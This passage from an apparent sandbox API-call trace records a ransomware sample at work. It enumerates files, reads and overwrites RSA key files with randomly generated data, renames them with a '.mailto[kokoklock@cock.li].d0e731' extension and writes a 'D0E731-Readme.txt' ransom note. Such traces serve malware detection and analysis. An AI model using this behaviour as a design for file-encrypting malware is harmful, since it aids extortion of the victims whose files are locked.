lpStartAddress=0x32077a0, lpParameter=0x34946d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0082.937] FindNextFileW (in: hFindFile=0x33dff98, lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0082.937] FindClose (in: hFindFile=0x33dff98 | out: hFindFile=0x33dff98) returned 1 [0082.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34abbb0) returned 1 [0082.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34874e0) returned 1 [0082.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431340) returned 1 [0082.938] RtlExitUserThread (Status=0x0) Thread: id = 1111 os_tid = 0x1308 [0082.514] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20 [0082.515] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0 [0082.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.515] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0 [0082.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7bc8) returned 1 [0082.515] RtlExitUserThread (Status=0x0) Thread: id = 1112 os_tid = 0x131c [0082.516] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20 [0082.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0082.516] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0082.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432550) returned 1 [0082.517] RtlExitUserThread (Status=0x0) Thread: id = 1113 os_tid = 0x1320 [0082.518] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24 [0082.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", dwFileAttributes=0x20) returned 1 [0082.518] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0082.519] GetFileSizeEx (in: hFile=0x660, lpFileSize=0x279bfc90 | out: lpFileSize=0x279bfc90*=56) returned 1 [0082.519] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.519] ReadFile (in: hFile=0x660, lpBuffer=0x279bfc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x279bfc64*, lpNumberOfBytesRead=0x279bfc60*=0x4, lpOverlapped=0x0) returned 1 [0082.520] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.520] NtQuerySystemTime (in: CurrentTime=0x279bfc3c | out: CurrentTime=0x279bfc3c*=132121176404141444) returned 0x0 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x64e98b13 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x95ca79ad [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x5c9c8b87 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x5a58e72a [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x23c84e0b [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x4772813a [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x5c00a2bf [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x7700e5cc [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xd70e0ada [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x51245d58 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x69c09a09 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x1b0cdb97 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x6d98a976 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xb9b73d1c [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x23ea09da [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x2f30fe6c [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xa27e191a [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xd35d13ff [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x15b859c2 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x5d9b388a [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x56286a07 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x9760cfc4 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x1e36e1e6 [0082.520] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x9d022ef9 [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x30586dce [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xfea14690 [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x6f9ffab [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xb65758d [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0xa3e12aad [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x4bae4071 [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x1df56cd8 [0082.521] RtlRandom (in: Seed=0x279bfc48 | out: Seed=0x279bfc48) returned 0x1bdf2f0d [0082.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd70 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f9b8 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.532] ReadFile (in: hFile=0x660, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0x279bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x279bfc3c*=0x38, lpOverlapped=0x0) returned 1 [0082.532] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279bfc04 | out: lpNewFilePointer=0x0) returned 1 [0082.532] WriteFile (in: hFile=0x660, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x279bfc38, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x279bfc38*=0x38, lpOverlapped=0x0) returned 1 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc68 [0082.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc90 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc90) returned 1 [0082.532] WriteFile (in: hFile=0x660, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x279bfc34, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x279bfc34*=0x20, lpOverlapped=0x0) returned 1 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd70) returned 1 [0082.533] WriteFile (in: hFile=0x660, lpBuffer=0x342cc40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x342cc40*, lpNumberOfBytesWritten=0x279bfc60*=0x8, lpOverlapped=0x0) returned 1 [0082.533] WriteFile (in: hFile=0x660, lpBuffer=0x279bfc78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x279bfc78*, lpNumberOfBytesWritten=0x279bfc60*=0x4, lpOverlapped=0x0) returned 1 [0082.533] WriteFile (in: hFile=0x660, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x279bfc60*=0x4, lpOverlapped=0x0) returned 1 [0082.533] WriteFile (in: hFile=0x660, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x279bfc60*=0x6c, lpOverlapped=0x0) returned 1 [0082.533] WriteFile (in: hFile=0x660, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x279bfc60*=0x20, lpOverlapped=0x0) returned 1 [0082.533] WriteFile (in: hFile=0x660, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x279bfc60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x279bfc60*=0x4, lpOverlapped=0x0) returned 1 [0082.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc40) returned 1 [0082.533] CloseHandle (hObject=0x660) returned 1 [0082.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x130) returned 0x33fcab8 [0082.533] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" [0082.533] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" [0082.534] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x24) returned 1 [0082.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.535] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", dwFileAttributes=0x24) returned 0 [0082.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2720 [0082.535] wcscpy (in: _Dest=0x33e2720, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0082.535] wcscat (in: _Dest=0x33e2720, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\D0E731-Readme.txt" [0082.535] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d0e731-readme.txt")) returned 0xffffffff [0082.535] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0082.535] WriteFile (in: hFile=0x660, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x279bfc5c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x279bfc5c*=0x481, lpOverlapped=0x0) returned 1 [0082.536] CloseHandle (hObject=0x660) returned 1 [0082.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2720) returned 1 [0082.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e58e8) returned 1 [0082.536] RtlExitUserThread (Status=0x1) Thread: id = 1114 os_tid = 0x1324 [0082.541] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24 [0082.542] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x20) returned 0 [0082.542] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.542] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x24) returned 0 [0082.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341de08) returned 1 [0082.542] RtlExitUserThread (Status=0x0) Thread: id = 1115 os_tid = 0x1328 [0082.543] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20 [0082.544] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 1 [0082.544] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0082.545] GetFileSizeEx (in: hFile=0x660, lpFileSize=0x27abff14 | out: lpFileSize=0x27abff14*=21009) returned 1 [0082.545] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x520d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.545] ReadFile (in: hFile=0x660, lpBuffer=0x27abfee8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27abfee4, lpOverlapped=0x0 | out: lpBuffer=0x27abfee8*, lpNumberOfBytesRead=0x27abfee4*=0x4, lpOverlapped=0x0) returned 1 [0082.547] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0082.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.547] NtQuerySystemTime (in: CurrentTime=0x27abfec0 | out: CurrentTime=0x27abfec0*=132121176404454933) returned 0x0 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xb1c61018 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xa51fef05 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xc39f96ea [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x654d1411 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x5e0d6ae2 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xcd2bc156 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xd10b0b60 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xed4bd815 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xf7a5f04d [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x7f823a15 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x1cc68102 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x71e67c90 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xa4b0ccd0 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x63e86580 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x6b15a3fa [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xc6e0445 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x5490d0de [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x93ea6149 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x964b3328 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x626d21fe [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xb6ab0e4a [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x647139fd [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x81b8947 [0082.547] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xb009e4b9 [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x5f759e45 [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x93f7b2e3 [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xa67407fc [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x7e62d23c [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x49993d99 [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x855b3a52 [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0xfc6ca6a5 [0082.548] RtlRandom (in: Seed=0x27abfecc | out: Seed=0x27abfecc) returned 0x5a0d9e4a [0082.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.558] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.558] ReadFile (in: hFile=0x660, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27abfe98, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27abfe98*=0x4096, lpOverlapped=0x0) returned 1 [0082.577] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc68 [0082.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.578] WriteFile (in: hFile=0x660, lpBuffer=0x34ae380*, 